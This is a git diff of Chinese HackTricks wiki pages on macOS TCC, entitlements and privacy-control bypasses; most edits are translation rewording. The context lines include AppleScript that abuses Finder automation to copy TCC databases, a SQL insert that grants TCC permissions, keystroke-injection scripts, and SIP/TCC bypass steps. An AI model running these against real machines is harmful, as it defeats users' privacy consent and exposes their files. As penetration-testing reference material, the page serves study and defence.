<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
例如,如果一个脚本导入 **`use File::Basename;`**,那么可以创建 `/Library/Perl/5.30/File/Basename.pm` 来执行任意代码。
## References
## 参考资料
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
@ -84,9 +84,9 @@ perl -e 'print join("\n", @INC)'
支持 HackTricks 的其他方式:
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

View file

@ -1,4 +1,4 @@
# macOS危险权和TCC权限
# macOS危险的授权和TCC权限
<details>
@ -8,70 +8,70 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
{% hint style="warning" %}
请注意,以**`com.apple`**开头的权限仅供苹果公司授予,第三方无法使用。
请注意,以**`com.apple`**开头的授权仅供Apple授予,第三方无法使用。
{% endhint %}
## 高级
### `com.apple.rootless.install.heritable`
**`com.apple.rootless.install.heritable`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install.heritable)。
权**`com.apple.rootless.install.heritable`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install.heritable)。
### **`com.apple.rootless.install`**
**`com.apple.rootless.install`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install)。
权**`com.apple.rootless.install`**允许**绕过SIP**。查看[此处了解更多信息](macos-sip.md#com.apple.rootless.install)。
### **`com.apple.system-task-ports`前称为`task_for_pid-allow`**
### **`com.apple.system-task-ports`前称为`task_for_pid-allow`**
此权允许获取除内核外的任何进程的**任务端口**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
权允许获取除内核外的任何进程的**任务端口**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### `com.apple.security.get-task-allow`
此权允许具有**`com.apple.security.cs.debugger`**权的其他进程获取具有此权的二进制运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
权允许具有**`com.apple.security.cs.debugger`**权的其他进程获取具有此权的二进制运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### `com.apple.security.cs.debugger`
具有调试工具权的应用程序可以调用`task_for_pid()`来检索未签名和第三方应用程序的有效任务端口,其中`Get Task Allow`权设置为`true`。然而,即使具有调试工具权,调试器**无法获取**没有`Get Task Allow`权的进程的任务端口,因此受到系统完整性保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
具有调试工具权的应用程序可以调用`task_for_pid()`来检索未签名和第三方应用程序的有效任务端口,其中`Get Task Allow`权设置为`true`。然而,即使具有调试工具权,调试器**无法获取**没有**`Get Task Allow`**授权的进程的任务端口,因此受到系统完整性保护的保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
### `com.apple.security.cs.disable-library-validation`
权限允许**加载未由苹果签名或与主可执行文件具有相同团队ID签名的框架、插件或库**,因此攻击者可能滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
授权允许**加载未由Apple签名或与主可执行文件具有相同Team ID签名的框架、插件或库**,因此攻击者可能滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
### `com.apple.private.security.clear-library-validation`
此权与**`com.apple.security.cs.disable-library-validation`**非常相似,但**不是直接禁用**库验证,而是允许进程**调用`csops`系统调用来禁用它**。\
权与**`com.apple.security.cs.disable-library-validation`**非常相似,但**不是直接禁用**库验证,而是允许进程**调用`csops`系统调用来禁用它**。\
查看[**此处了解更多信息**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
### `com.apple.security.cs.allow-dyld-environment-variables`
此权允许**使用DYLD环境变量**,可用于注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
权允许**使用DYLD环境变量**,可用于注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
### `com.apple.private.tcc.manager`或`com.apple.rootless.storage`.`TCC`
根据[**此博客**](https://objective-see.org/blog/blog\_0x4C.html)和[**此博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权允许**修改** **TCC** 数据库。
根据[**此博客**](https://objective-see.org/blog/blog\_0x4C.html) **** [**此博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权允许**修改** **TCC** 数据库。
### **`system.install.apple-software`**和**`system.install.apple-software.standar-user`**
这些权允许**在不请求用户权限的情况下安装软件**,这对于**特权升级**可能有帮助。
这些权允许**在不请求用户权限的情况下安装软件**,这对于**特权升级**可能有帮助。
### `com.apple.private.security.kext-management`
需要的权限,用于请求内核加载内核扩展。
需要的授权以请求内核加载内核扩展。
### **`com.apple.private.icloud-account-access`**
**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务通信该服务将**提供iCloud令牌**。
权**`com.apple.private.icloud-account-access`**可以与**`com.apple.iCloudHelper`** XPC服务通信该服务将**提供iCloud令牌**。
**iMovie**和**Garageband**拥有此权限
**iMovie**和**Garageband**具有此授权
有关从该权限获取iCloud令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0“您的Mac上发生的事情留在苹果的iCloud中 - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
有关从该授权中获取iCloud令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -79,15 +79,15 @@
### `com.apple.private.apfs.revert-to-snapshot`
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,此权限可用于在重启后更新SSV保护的内容。如果您知道如何操作请提交PR
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,此功能可用于在重启后更新SSV受保护的内容。如果您知道如何操作请提交PR
### `com.apple.private.apfs.create-sealed-snapshot`
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,此权限可用于在重启后更新SSV保护的内容。如果您知道如何操作请提交PR
待办事项:在[**此报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,此功能可用于在重启后更新SSV受保护的内容。如果您知道如何操作请提交PR
### `keychain-access-groups`
此权列出应用程序可以访问的**钥匙串**组。
权列出应用程序可以访问的**钥匙串**组。
```xml
<key>keychain-access-groups</key>
<array>
@ -120,19 +120,19 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicySysAdminFiles`**
允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改主文件夹路径,因此可以**绕过 TCC**。
允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改用户的主文件夹路径,因此可以**绕过 TCC**。
### **`kTCCServiceSystemPolicyAppBundles`**
允许修改应用程序包内的文件(在 app.app 内),这是**默认禁止的**。
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
可以在 _系统偏好设置_ > _隐私与安全性_ > _应用程序管理_ 中检查谁拥有此访问权限。
### `kTCCServiceAccessibility`
该进程将能够**滥用 macOS 辅助功能**,这意味着例如他将能够按下按键。因此,他可以请求访问控制应用程序如 Finder并使用此权限批准对话框。
该进程将能够**滥用 macOS 辅助功能**,这意味着例如他将能够按下按键。因此,他可以请求访问控制应用程序如 Finder并使用此权限批准对话框。
## 中等
@ -150,7 +150,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.security.cs.disable-executable-page-protection`
此授权允许**修改其磁盘上自己的可执行文件的部分**以强制退出。查看[**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
此授权允许**修改其磁盘上的可执行文件的部分**以强制退出。查看[**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
{% hint style="danger" %}
禁用可执行页面保护授权是一项极端授权,它会从您的应用程序中删除一项基本安全保护,使攻击者有可能在不被察觉的情况下重写您的应用程序的可执行代码。如果可能的话,请优先选择更狭窄的授权。
@ -162,11 +162,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `com.apple.private.nullfs_allow`
此授权允许挂载 nullfs 文件系统(默认情况下被禁止)。工具:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
此授权允许挂载一个 nullfs 文件系统(默认情况下被禁止)。工具:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
### `kTCCServiceAll`
根据这篇博文, TCC 权限通常以以下形式找到:
根据这篇博文,这个 TCC 权限通常以以下形式找到:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]

View file

@ -8,15 +8,15 @@
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## **基本信息**
**TCC透明度、同意和控制**是一种安全协议,专注于规范应用程序权限。其主要作用是保护诸如**位置服务、联系人、照片、麦克风、摄像头、辅助功能和完全磁盘访问**等敏感功能。通过在授予应用程序对这些元素访问之前强制要求明确用户同意TCC增强了隐私和用户对其数据的控制。
**TCC透明度、同意和控制**是一种安全协议,专注于规范应用程序权限。其主要作用是保护诸如**位置服务、联系人、照片、麦克风、摄像头、辅助功能和完全磁盘访问**等敏感功能。通过在授予应用程序对这些元素访问之前强制要求明确用户同意TCC增强了隐私和用户对其数据的控制。
用户在应用程序请求访问受保护功能时会遇到TCC。这通过一个提示可见允许用户**批准或拒绝访问**。此外TCC还支持直接用户操作例如**将文件拖放到应用程序中**,以授予对特定文件的访问权限,确保应用程序仅能访问明确允许的内容。
@ -44,9 +44,9 @@ ps -ef | grep tcc
- 此数据库受保护因此只有具有高TCC权限的进程如完全磁盘访问才能写入其中但不受SIP保护
{% hint style="warning" %}
先前的数据库也受到**TCC保护以进行读取访问**。因此除非是来自具有TCC特权进程的情况否则您将无法读取常规用户TCC数据库。
先前的数据库也受到TCC保护以进行读取访问。因此除非是来自具有TCC特权进程的情况否则您将无法读取常规用户TCC数据库。
但是,请记住,具有这些高权限的进程(如**FDA****`kTCCServiceEndpointSecurityClient`**将能够写入用户的TCC数据库。
但是请记住具有这些高权限的进程如FDA或`kTCCServiceEndpointSecurityClient`将能够写入用户的TCC数据库。
{% endhint %}
- 在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库用于指示允许访问位置服务的客户端。
@ -128,7 +128,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
* **`service`** 是 TCC **权限** 字符串表示
* **`client`** 是具有权限的 **bundle ID** 或 **二进制路径**
* **`client_type`** 指示它是 Bundle 标识符(0) 还是绝对路径(1)
* **`client_type`** 指示它是 Bundle Identifier(0) 还是绝对路径(1)
<details>
@ -174,7 +174,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
</details>
* **`auth_value`** 可以有不同的值: denied(0), unknown(1), allowed(2), 或 limited(3).
* **`auth_reason`** 可以以下值: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* **`auth_reason`** 可以采用以下值: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* **csreq** 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
```bash
# Query to get cserq in printable hex
@ -191,7 +191,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
* 要了解表格的**其他字段**的更多信息,请查看[此博客文章](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
* 有关表格的**其他字段**的更多信息,请查阅[**此博客文章**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)。
您还可以在`系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹`中查看应用程序的**已授予权限**。
@ -251,9 +251,9 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
除了一些关于授权的官方文档外,还可以在[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)找到一些非官方的**有关授权的有趣信息**。
{% endhint %}
一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
一些TCC权限包括kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有权限,但可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
### 未受保护的敏感位置
### 敏感且未受保护的位置
* $HOME本身
* $HOME/.ssh、$HOME/.aws 等
@ -279,20 +279,20 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
{% hint style="info" %}
有趣的是 **`com.apple.macl`** 属性由 **Sandbox** 管理,而不是 tccd。
还要注意,如果将允许计算机上应用程序的 UUID 的文件移动到不同的计算机,因为相同的应用程序将具有不同的 UID它不会授予该应用程序访问权限。
另请注意,如果您将允许计算机上应用程序的 UUID 的文件移动到不同的计算机,因为相同的应用程序将具有不同的 UID它不会授予该应用程序访问权限。
{% endhint %}
扩展属性 `com.apple.macl` **无法像其他扩展属性一样清除**,因为它受到 **SIP 保护**。但是,正如[**在这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过**压缩**文件,**删除**它,然后**解压**它来禁用它。
扩展属性 `com.apple.macl` **无法像其他扩展属性一样清除**,因为它受到 **SIP 保护**。但是,正如[**在此帖子中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),可以通过**压缩**文件,**删除**文件,然后**解压缩**文件来禁用它。
## TCC权限提升和绕过
## TCC权和绕过
### 插入到TCC
### 插入到 TCC
如果您在某个时刻成功获得对 TCC 数据库的写访问权限,可以使用类似以下内容的方法添加条目(删除注释):
如果您在某个时刻成功获得对 TCC 数据库的写访问权限,可以使用类似以下内容的内容添加条目(删除注释):
<details>
<summary>插入到TCC示例</summary>
<summary>插入到 TCC 示例</summary>
```sql
INSERT INTO access (
service,
@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Payloads
如果您成功进入一个有某些TCC权限的应用程序请查看以下页面其中包含滥用这些权限的TCC有效载荷
如果您成功进入一个有某些TCC权限的应用程序请查看以下页面其中包含滥用这些权限的TCC有效载荷
{% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md)
@ -347,8 +347,8 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
自动化权限的TCC名称是**`kTCCServiceAppleEvents`**\
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**(因此权限不允许仅仅管理所有内容)。
**Finder**是一个**始终具有FDA**即使在UI中看不到因此如果您对其具有**自动化**权限,您可以滥用其权限**让其执行一些操作**。\
在这种情况下,您的应用程序需要对**`com.apple.Finder`**拥有**`kTCCServiceAppleEvents`**权限。
**Finder** 是一个**始终具有FDA**即使在UI中看不到的应用程序,因此如果您对其具有**自动化**权限,您可以滥用其权限**让其执行一些操作**。\
在这种情况下,您的应用程序需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
{% tabs %}
{% tab title="窃取用户的TCC.db" %}
@ -365,7 +365,7 @@ EOD
```
{% endtab %}
{% tab title="窃取系统 TCC.db" %}
{% tab title="窃取系统 TCC.db" %}
```applescript
osascript<<EOD
tell application "Finder"
@ -381,14 +381,14 @@ EOD
您可以滥用这个漏洞来**编写自己的用户TCC数据库**。
{% hint style="warning" %}
有了这个权限,您将能够**要求查找器访问TCC受限文件夹**并提供文件,但据我所知,您**无法让Finder执行任意代码**来充分滥用他的FDA访问权限。
有了这个权限,您将能够**要求查找器访问TCC受限文件夹**并提供文件,但据我所知,您**无法让Finder执行任意代码**来完全滥用他的FDA访问权限。
因此您将无法滥用完整的FDA功能。
{% endhint %}
这是获取Finder上的自动化权限的TCC提示
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**比如Finder。因此拥有控制Automator的权限您也可以使用下面的代码控制**Finder**
@ -418,11 +418,11 @@ EOD
```
</details>
同样的情况也发生在**Script Editor 应用程序**上,它可以控制 Finder但是使用 AppleScript 你不能强制其执行脚本。
同样的情况也发生在**脚本编辑器应用程序**上它可以控制Finder但是使用AppleScript时你无法强制其执行脚本。
### 自动化SE到一些 TCC
### 自动化SE到一些TCC
**系统事件可以创建文件夹操作,文件夹操作可以访问一些 TCC 文件夹**(桌面、文稿和下载),因此可以使用以下类似的脚本来滥用这种行为:
**系统事件可以创建文件夹操作文件夹操作可以访问一些TCC文件夹**(桌面、文稿和下载),因此可以使用以下脚本来滥用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -464,11 +464,11 @@ EOD
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### 自动化SE+ 可访问性**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)到 FDA\*
### 自动化SE+ 辅助功能**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)到 FDA\*
**`System Events`** 上的自动化 + 可访问性(**`TCCServicePostEvent`**)允许发送**按键到进程**。这样,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序授予 FDA尽管可能需要密码
**`System Events`** 上的自动化 + 辅助功能(**`kTCCServicePostEvent`**)允许发送**按键到进程**。这样,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA尽管可能需要密码
Finder 覆盖用户 TCC.db 示例:
Finder 覆盖用户 TCC.db 示例:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -514,40 +514,40 @@ keystroke "v" using {command down}
end tell
EOF
```
### `kTCCServiceAccessibility` 提升至 FDA\*
### `kTCCServiceAccessibility` FDA\*
查看此页面以获取一些[**滥用辅助功能权限的有效载荷**](macos-tcc-payloads.md#accessibility)来提升至 FDA\* 或例如运行键盘记录器。
查看此页面以获取一些[**滥用辅助功能权限**](macos-tcc-payloads.md#accessibility)的有效载荷,以提升权限至 FDA\* 或例如运行键盘记录器。
### **将 Endpoint Security Client 提升至 FDA**
### **终端安全客户端到 FDA**
如果你有 **`kTCCServiceEndpointSecurityClient`**,你就有 FDA。结束。
### 将 System Policy SysAdmin File 提升至 FDA
### 系统策略 SysAdmin 文件到 FDA
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改用户的主文件夹,因此可以**绕过 TCC**。
**`kTCCServiceSystemPolicySysAdminFiles`** 允许**更改**用户的 **`NFSHomeDirectory`** 属性,从而更改其主文件夹,因此允许**绕过 TCC**。
### 将 User TCC DB 提升至 FDA
### 用户 TCC 数据库到 FDA
获得对**用户 TCC**数据库的**写入权限**,你无法授予自己 **`FDA`** 权限,只有存在于系统数据库中的权限可以授予。
获得对**用户 TCC**数据库的**写入权限**,你无法授予自己 **`FDA`** 权限,只有于系统数据库中的权限可以授予。
但是你可以给自己**`Finder 的自动化权限`**,并滥用先前的技术来提升至 FDA\*。
但是你可以给自己**`Finder 的自动化权限`**,并滥用先前的技术来提升至 FDA\*。
### **FDA 到 TCC 权限**
**全磁盘访问**在 TCC 中的名称是 **`kTCCServiceSystemPolicyAllFiles`**
我不认为这是一个真正的权限提升,但以防万一你觉得有用:如果你控制了一个具有 FDA 权限的程序,你可以**修改用户的 TCC 数据库并授予自己任何访问权限**。这可以作为一种持久性技术,在你可能失去 FDA 权限时有用
我不认为这是一个真正的权限提升,但以防万一你发现它有用:如果你控制了一个具有 FDA 权限的程序,你可以**修改用户的 TCC 数据库并授予自己任何访问权限**。这可能作为一种持久性技术很有用,以防你可能会失去 FDA 权限
### **SIP 绕过 TCC 绕过**
### **SIP 绕过 TCC 绕过**
系统的 **TCC 数据库** 受到 **SIP** 保护,因此只有具有**指定赋权**的进程才能修改它。因此,如果攻击者找到了一个**SIP 绕过**来绕过一个**文件**(能够修改由 SIP 限制的文件),他将能够:
系统的 **TCC 数据库** 受到 **SIP** 保护,这就是为什么只有具有**指定赋权**的进程才能修改它。因此,如果攻击者找到了一个**SIP 绕过**来绕过一个**文件**(能够修改由 SIP 限制的文件),他将能够:
* **移除 TCC 数据库的保护**,并赋予自己所有 TCC 权限。他可以滥用其中的任何文件,例如:
* **移除 TCC 数据库的保护**,并给自己所有 TCC 权限。他可以滥用其中任何文件,例如:
* TCC 系统数据库
* REG.db
* MDMOverrides.plist
然而,还有另一种选择来滥用这个**SIP 绕过来绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`一个需要 TCC 例外的应用程序允许列表。因此,如果攻击者可以**移除此文件的 SIP 保护**并添加他自己的**应用程序**,该应用程序将能够绕过 TCC。\
然而,还有另一种选择来滥用这个**SIP 绕过来绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是需要 TCC 例外的应用程序允许列表。因此,如果攻击者可以**移除此文件的 SIP 保护**并添加他自己的**应用程序**,该应用程序将能够绕过 TCC。\
例如,要添加终端:
```bash
# Get needed info
@ -600,7 +600,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -9,7 +9,7 @@
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -18,7 +18,7 @@
### 写入绕过
这不是绕过这只是TCC的工作原理**它不会阻止写入**。如果终端**无法读取用户的桌面,它仍然可以写入其中**
这不是绕过这只是TCC的工作原理**它不会阻止写入**。如果终端**无法访问用户的桌面以读取内容,它仍然可以写入其中**
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -32,18 +32,18 @@ asd
### TCC 点击劫持
可以将一个窗口覆盖在 TCC 提示上,使用户在不知情的情况下接受它。您可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking) 中找到一个 PoC。
可以**将一个窗口覆盖在 TCC 提示**,使用户在不知情的情况下**接受**它。您可以在 [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** 中找到 PoC**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 通过任意名称请求 TCC
攻击者可以在 **`Info.plist`** 中创建任何名称的应用程序(例如 Finder、Google Chrome...),并让其请求访问某些受 TCC 保护的位置。用户会认为是合法应用程序在请求此访问权限。\
此外,可以将合法应用程序从 Dock 中移除,并将伪造的应用程序放在其中,因此当用户点击伪造的应用程序(可以使用相同的图标)时,它可能调用合法应用程序,请求 TCC 权限并执行恶意软件,使用户相信是合法应用程序请求了访问权限。
此外,可以**从 Dock 中移除合法应用程序并将伪造的应用程序放置其中**,因此当用户点击伪造的应用程序(可以使用相同的图标)时,它可能调用合法应用程序,请求 TCC 权限并执行恶意软件,使用户相信是合法应用程序请求了访问权限。
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
